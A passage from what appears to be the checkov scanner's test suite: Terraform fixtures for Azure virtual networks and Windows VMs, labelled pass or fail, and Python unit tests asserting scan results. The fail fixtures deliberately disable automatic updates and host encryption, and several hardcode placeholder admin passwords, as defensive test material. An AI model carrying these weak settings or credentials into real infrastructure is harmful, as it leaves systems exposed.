\"Standard_DS1_v2\"\n\n  storage_image_reference {\n    publisher = \"Canonical\"\n    offer     = \"UbuntuServer\"\n    sku       = \"16.04-LTS\"\n    version   = \"latest\"\n  }\n  storage_data_disk {\n    name              = \"myosdisk1\"\n    caching           = \"ReadWrite\"\n    create_option     = \"FromImage\"\n    managed_disk_type = \"Standard_LRS\"\n    vhd_uri           = \"someURI\"\n  }\n  os_profile {\n    computer_name  = \"hostname\"\n    admin_username = \"testadmin\"\n    admin_password = \"Password1234!\"\n  }\n  tags = {\n    environment = \"staging\"\n  }\n}\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_VnetLocalDNS/main.tf",
    "content": "resource \"azurerm_virtual_network\" \"pass\" {\n  name                = \"example-network\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  address_space       = [\"10.0.0.0/16\"]\n  dns_servers         = [\"10.0.0.4\", \"10.0.0.5\"]\n\n  subnet {\n    name           = \"subnet1\"\n    address_prefix = \"10.0.1.0/24\"\n  }\n\n  subnet {\n    name           = \"subnet2\"\n    address_prefix = \"10.0.2.0/24\"\n    security_group = azurerm_network_security_group.example.id\n  }\n\n  tags = {\n    environment = \"Production\"\n  }\n}\n\nresource \"azurerm_virtual_network\" \"pass2\" {\n  name                = \"example-network\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  address_space       = [\"10.0.0.0/16\"]\n\n  subnet {\n    name           = \"subnet1\"\n    address_prefix = \"10.0.1.0/24\"\n  }\n\n  subnet {\n    name           = \"subnet2\"\n    address_prefix = \"10.0.2.0/24\"\n    security_group = azurerm_network_security_group.example.id\n  }\n\n  tags = {\n    environment = \"Production\"\n  }\n}\n\nresource \"azurerm_virtual_network\" \"fail\" {\n  name                = \"example-network\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  address_space       = [\"10.0.0.0/16\"]\n  dns_servers         = [\"8.8.8.8\"]\n\n  subnet {\n    name           = \"subnet1\"\n    address_prefix = \"10.0.1.0/24\"\n  }\n\n  subnet {\n    name           = \"subnet2\"\n    address_prefix = \"10.0.2.0/24\"\n    security_group = azurerm_network_security_group.example.id\n  }\n\n  tags = {\n    environment = \"Production\"\n  }\n}\n\nresource \"azurerm_virtual_network\" \"fail2\" {\n  name                = \"example-network\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  address_space       = [\"10.0.0.0/16\"]\n  dns_servers         = [[]]\n\n  subnet {\n    name           = \"subnet1\"\n    address_prefix = \"10.0.1.0/24\"\n  }\n\n  subnet {\n    name           = \"subnet2\"\n    address_prefix = \"10.0.2.0/24\"\n    security_group = azurerm_network_security_group.example.id\n  }\n\n  tags = {\n    environment = \"Production\"\n  }\n}\n\nresource \"azurerm_virtual_network\" \"fail3\" {\n  name                = \"example-network\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  address_space       = [[]]\n  dns_servers         = [\"8.8.8.8\"]\n\n  subnet {\n    name           = \"subnet1\"\n    address_prefix = \"10.0.1.0/24\"\n  }\n\n  subnet {\n    name           = \"subnet2\"\n    address_prefix = \"10.0.2.0/24\"\n    security_group = azurerm_network_security_group.example.id\n  }\n\n  tags = {\n    environment = \"Production\"\n  }\n}\n\nresource \"azurerm_virtual_network\" \"unknown\" {\n  name                = \"example-network\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  address_space       = [\"v\"]\n  dns_servers         = [\"10.0.0.4\", \"10.0.0.5\"]\n\n  subnet {\n    name           = \"subnet1\"\n    address_prefix = \"10.0.1.0/24\"\n  }\n\n  subnet {\n    name           = \"subnet2\"\n    address_prefix = \"10.0.2.0/24\"\n    security_group = azurerm_network_security_group.example.id\n  }\n\n  tags = {\n    environment = \"Production\"\n  }\n}\n\nresource \"azurerm_virtual_network\" \"unknown2\" {\n  name                = \"example-network\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  address_space       = [\"10.0.0.0/16\"]\n  dns_servers         = [\"var.unknown\"]\n\n  subnet {\n    name           = \"subnet1\"\n    address_prefix = \"10.0.1.0/24\"\n  }\n\n  subnet {\n    name           = \"subnet2\"\n    address_prefix = \"10.0.2.0/24\"\n    security_group = azurerm_network_security_group.example.id\n  }\n\n  tags = {\n    environment = \"Production\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_VnetSingleDNSServer/main.tf",
    "content": "resource \"azurerm_virtual_network\" \"pass\" {\n  name                = \"example-network\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  address_space       = [\"10.0.0.0/16\"]\n  dns_servers         = [\"10.0.0.4\", \"10.0.0.5\"]\n\n  subnet {\n    name           = \"subnet1\"\n    address_prefix = \"10.0.1.0/24\"\n  }\n\n  subnet {\n    name           = \"subnet2\"\n    address_prefix = \"10.0.2.0/24\"\n    security_group = azurerm_network_security_group.example.id\n  }\n\n  tags = {\n    environment = \"Production\"\n  }\n}\n\nresource \"azurerm_virtual_network\" \"pass2\" {\n  name                = \"example-network\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  address_space       = [\"10.0.0.0/16\"]\n\n  subnet {\n    name           = \"subnet1\"\n    address_prefix = \"10.0.1.0/24\"\n  }\n\n  subnet {\n    name           = \"subnet2\"\n    address_prefix = \"10.0.2.0/24\"\n    security_group = azurerm_network_security_group.example.id\n  }\n\n  tags = {\n    environment = \"Production\"\n  }\n}\n\nresource \"azurerm_virtual_network\" \"fail\" {\n  name                = \"example-network\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  address_space       = [\"10.0.0.0/16\"]\n  dns_servers         = [\"10.0.0.4\"]\n\n  subnet {\n    name           = \"subnet1\"\n    address_prefix = \"10.0.1.0/24\"\n  }\n\n  subnet {\n    name           = \"subnet2\"\n    address_prefix = \"10.0.2.0/24\"\n    security_group = azurerm_network_security_group.example.id\n  }\n\n  tags = {\n    environment = \"Production\"\n  }\n}\n\nresource \"azurerm_virtual_network_dns_servers\" \"pass\" {\n  virtual_network_id = azurerm_virtual_network.example.id\n  dns_servers        = [\"10.7.7.2\", \"10.7.7.7\", \"10.7.7.1\"]\n}\n\nresource \"azurerm_virtual_network_dns_servers\" \"fail\" {\n  virtual_network_id = azurerm_virtual_network.example.id\n  dns_servers        = [\"10.7.7.2\"]\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_WinVMAutomaticUpdates/main.tf",
    "content": "resource \"azurerm_windows_virtual_machine\" \"pass\" {\n  name                = \"example-machine\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n  size                = \"Standard_F2\"\n  admin_username      = \"adminuser\"\n  admin_password      = \"P@$$w0rd1234!\"  # checkov:skip=CKV_SECRET_80 test secret\n  network_interface_ids = [\n    azurerm_network_interface.example.id,\n  ]\n\n  enable_automatic_updates = true\n  os_disk {\n    caching              = \"ReadWrite\"\n    storage_account_type = \"Standard_LRS\"\n  }\n\n  source_image_reference {\n    publisher = \"MicrosoftWindowsServer\"\n    offer     = \"WindowsServer\"\n    sku       = \"2016-Datacenter\"\n    version   = \"latest\"\n  }\n}\n\nresource \"azurerm_windows_virtual_machine\" \"missing\" {\n  name                = \"example-machine\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n  size                = \"Standard_F2\"\n  admin_username      = \"adminuser\"\n  admin_password      = \"P@$$w0rd1234!\"\n  network_interface_ids = [\n    azurerm_network_interface.example.id,\n  ]\n\n  os_disk {\n    caching              = \"ReadWrite\"\n    storage_account_type = \"Standard_LRS\"\n  }\n\n  source_image_reference {\n    publisher = \"MicrosoftWindowsServer\"\n    offer     = \"WindowsServer\"\n    sku       = \"2016-Datacenter\"\n    version   = \"latest\"\n  }\n}\n\nresource \"azurerm_windows_virtual_machine\" \"fail\" {\n  name                = \"example-machine\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n  size                = \"Standard_F2\"\n  admin_username      = \"adminuser\"\n  admin_password      = \"P@$$w0rd1234!\"\n  enable_automatic_updates = false\n  network_interface_ids = [\n    azurerm_network_interface.example.id,\n  ]\n\n  os_disk {\n    caching              = \"ReadWrite\"\n    storage_account_type = \"Standard_LRS\"\n  }\n\n  source_image_reference {\n    publisher = \"MicrosoftWindowsServer\"\n    offer     = \"WindowsServer\"\n    sku       = \"2016-Datacenter\"\n    version   = \"latest\"\n  }\n}\n\nresource \"azurerm_windows_virtual_machine_scale_set\" \"pass\" {\n  name                = \"example-vmss\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n  sku                 = \"Standard_F2\"\n  instances           = 1\n  admin_password      = \"P@55w0rd1234!\"  # checkov:skip=CKV_SECRET_80 test secret\n  admin_username      = \"adminuser\"\n  enable_automatic_updates = true\n\n  source_image_reference {\n    publisher = \"MicrosoftWindowsServer\"\n    offer     = \"WindowsServer\"\n    sku       = \"2016-Datacenter-Server-Core\"\n    version   = \"latest\"\n  }\n\n  os_disk {\n    storage_account_type = \"Standard_LRS\"\n    caching              = \"ReadWrite\"\n  }\n\n  network_interface {\n    name    = \"example\"\n    primary = true\n\n    ip_configuration {\n      name      = \"internal\"\n      primary   = true\n      subnet_id = azurerm_subnet.internal.id\n    }\n  }\n}\n\nresource \"azurerm_windows_virtual_machine_scale_set\" \"fail\" {\n  name                = \"example-vmss\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n  sku                 = \"Standard_F2\"\n  instances           = 1\n  admin_password      = \"P@55w0rd1234!\"\n  admin_username      = \"adminuser\"\n  enable_automatic_updates = false\n\n  source_image_reference {\n    publisher = \"MicrosoftWindowsServer\"\n    offer     = \"WindowsServer\"\n    sku       = \"2016-Datacenter-Server-Core\"\n    version   = \"latest\"\n  }\n\n  os_disk {\n    storage_account_type = \"Standard_LRS\"\n    caching              = \"ReadWrite\"\n  }\n\n  network_interface {\n    name    = \"example\"\n    primary = true\n\n    ip_configuration {\n      name      = \"internal\"\n      primary   = true\n      subnet_id = azurerm_subnet.internal.id\n    }\n  }\n}\n\nresource \"azurerm_windows_virtual_machine_scale_set\" \"missing\" {\n  name                = \"example-vmss\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n  sku                 = \"Standard_F2\"\n  instances           = 1\n  admin_password      = \"P@55w0rd1234!\"\n  admin_username      = \"adminuser\"\n\n  source_image_reference {\n    publisher = \"MicrosoftWindowsServer\"\n    offer     = \"WindowsServer\"\n    sku       = \"2016-Datacenter-Server-Core\"\n    version   = \"latest\"\n  }\n\n  os_disk {\n    storage_account_type = \"Standard_LRS\"\n    caching              = \"ReadWrite\"\n  }\n\n  network_interface {\n    name    = \"example\"\n    primary = true\n\n    ip_configuration {\n      name      = \"internal\"\n      primary   = true\n      subnet_id = azurerm_subnet.internal.id\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_WinVMEncryptionAtHost/main.tf",
    "content": "resource \"azurerm_windows_virtual_machine\" \"fail\" {\n  name                = \"example-machine\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n  size                = \"Standard_F2\"\n  admin_username      = \"adminuser\"\n  admin_password      = \"P@$$w0rd1234!\"  # checkov:skip=CKV_SECRET_80 test secret\n\n  network_interface_ids = [\n    azurerm_network_interface.example.id,\n  ]\n\n  os_disk {\n    caching              = \"ReadWrite\"\n    storage_account_type = \"Standard_LRS\"\n  }\n\n  source_image_reference {\n    publisher = \"MicrosoftWindowsServer\"\n    offer     = \"WindowsServer\"\n    sku       = \"2016-Datacenter\"\n    version   = \"latest\"\n  }\n\n  # encryption_at_host_enabled=true\n}\n\nresource \"azurerm_windows_virtual_machine\" \"fail2\" {\n  name                = \"example-machine\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n  size                = \"Standard_F2\"\n  admin_username      = \"adminuser\"\n  admin_password      = \"P@$$w0rd1234!\"\n\n  network_interface_ids = [\n    azurerm_network_interface.example.id,\n  ]\n\n  os_disk {\n    caching              = \"ReadWrite\"\n    storage_account_type = \"Standard_LRS\"\n  }\n\n  source_image_reference {\n    publisher = \"MicrosoftWindowsServer\"\n    offer     = \"WindowsServer\"\n    sku       = \"2016-Datacenter\"\n    version   = \"latest\"\n  }\n\n  encryption_at_host_enabled = false\n}\n\nresource \"azurerm_windows_virtual_machine\" \"pass\" {\n  name                = \"example-machine\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n  size                = \"Standard_F2\"\n  admin_username      = \"adminuser\"\n  admin_password      = \"P@$$w0rd1234!\"\n\n  network_interface_ids = [\n    azurerm_network_interface.example.id,\n  ]\n\n  os_disk {\n    caching              = \"ReadWrite\"\n    storage_account_type = \"Standard_LRS\"\n  }\n\n  source_image_reference {\n    publisher = \"MicrosoftWindowsServer\"\n    offer     = \"WindowsServer\"\n    sku       = \"2016-Datacenter\"\n    version   = \"latest\"\n  }\n\n  encryption_at_host_enabled = true\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_ACRAdminAccountDisabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.ACRAdminAccountDisabled import check\n\n\nclass TestACRAdminAccountDisabled(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_ACRAdminAccountDisabled\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_container_registry.ckv_unittest_pass',\n            'azurerm_container_registry.ckv_unittest_pass_2'\n        }\n        failing_resources = {\n            'azurerm_container_registry.ckv_unittest_fail'\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_ACRAnonymousPullDisabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.ACRAnonymousPullDisabled import check\n\n\nclass TestACRAnonymousPullEnabled(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_ACRAnonymousPullDisabled\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_container_registry.ckv_unittest_pass_1',\n            'azurerm_container_registry.ckv_unittest_pass_2',\n            'azurerm_container_registry.ckv_unittest_pass_3',\n            'azurerm_container_registry.ckv_unittest_pass_4',\n            'azurerm_container_registry.ckv_unittest_pass_5',\n            'azurerm_container_registry.ckv_unittest_pass_6'\n        }\n        failing_resources = {\n            'azurerm_container_registry.ckv_unittest_fail_1',\n            'azurerm_container_registry.ckv_unittest_fail_2'\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_ACRContainerScanEnabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.ACRContainerScanEnabled import check\n\n\nclass TestACRContainerScanEnabled(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_ACRContainerScanEnabled\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_container_registry.pass',\n            'azurerm_container_registry.pass2',\n        }\n        failing_resources = {\n            'azurerm_container_registry.fail'\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_ACRDedicatedDataEndpointEnabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.ACRDedicatedDataEndpointEnabled import check\n\n\nclass TestACRDedicatedDataEndpointEnabled(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_ACRDedicatedDataEndpointEnabled\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_container_registry.pass',\n        }\n        failing_resources = {\n            'azurerm_container_registry.fail',\n            'azurerm_container_registry.fail2'\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_ACREnableImageQuarantine.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.ACREnableImageQuarantine import check\n\n\nclass TestACREnableImageQuarantine(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_ACREnableImageQuarantine\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_container_registry.pass',\n        }\n        failing_resources = {\n            'azurerm_container_registry.fail',\n            'azurerm_container_registry.fail2'\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_ACREnableRetentionPolicy.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.ACREnableRetentionPolicy import check\n\n\nclass TestACREnableRetentionPolicy(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_ACREnableRetentionPolicy\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_container_registry.pass_old',\n            'azurerm_container_registry.pass_new',\n        }\n        failing_resources = {\n            'azurerm_container_registry.fail',\n            'azurerm_container_registry.fail_old',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_ACREnableZoneRedundancy.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.ACREnableZoneRedundancy import check\n\n\nclass TestACREnableZoneRedundancy(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_ACREnableZoneRedundancy\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_container_registry.pass',\n            'azurerm_container_registry.pass2',\n        }\n        failing_resources = {\n            'azurerm_container_registry.fail',\n            'azurerm_container_registry.fail2',\n            'azurerm_container_registry.fail3',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_ACRGeoreplicated.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.ACRGeoreplicated import check\n\n\nclass TestACRGeoreplicated(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_ACRGeoreplicated\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_container_registry.pass',\n        }\n        failing_resources = {\n            'azurerm_container_registry.fail',\n            'azurerm_container_registry.fail2',\n            'azurerm_container_registry.fail3'\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_ACRPublicNetworkAccessDisabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.ACRPublicNetworkAccessDisabled import check\n\n\nclass TestACRPublicNetworkAccess(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_ACRPublicNetworkAccessDisabled\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_container_registry.ckv_unittest_pass'\n        }\n        failing_resources = {\n            'azurerm_container_registry.ckv_unittest_fail',\n            'azurerm_container_registry.ckv_unittest_fail_2',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_ACRUseSignedImages.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.ACRUseSignedImages import check\n\n\nclass TestACRUseSignedImages(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_ACRUseSignedImages\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_container_registry.pass_new',\n            'azurerm_container_registry.pass_old',\n        }\n        failing_resources = {\n            'azurerm_container_registry.fail',\n            'azurerm_container_registry.fail2_new',\n            'azurerm_container_registry.fail2_old'\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AKSApiServerAuthorizedIpRanges.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.AKSApiServerAuthorizedIpRanges import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAKSApiServerAuthorizedIpRanges(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AKSApiServerAuthorizedIpRanges\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_kubernetes_cluster.enabled\",\n            \"azurerm_kubernetes_cluster.private\",\n            \"azurerm_kubernetes_cluster.version_3_39\",\n        }\n\n        failing_resources = {\n            \"azurerm_kubernetes_cluster.default\",\n            \"azurerm_kubernetes_cluster.empty\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_AKSDashboardDisabled.py",
    "content": "\nfrom checkov.terraform.checks.resource.azure.AKSDashboardDisabled import check\nimport os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAKSDashboardDisabled(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AKSDashboardDisabled\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_kubernetes_cluster.pass',\n            'azurerm_kubernetes_cluster.pass2',\n        }\n        failing_resources = {\n            'azurerm_kubernetes_cluster.fail',\n            'azurerm_kubernetes_cluster.fail2',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 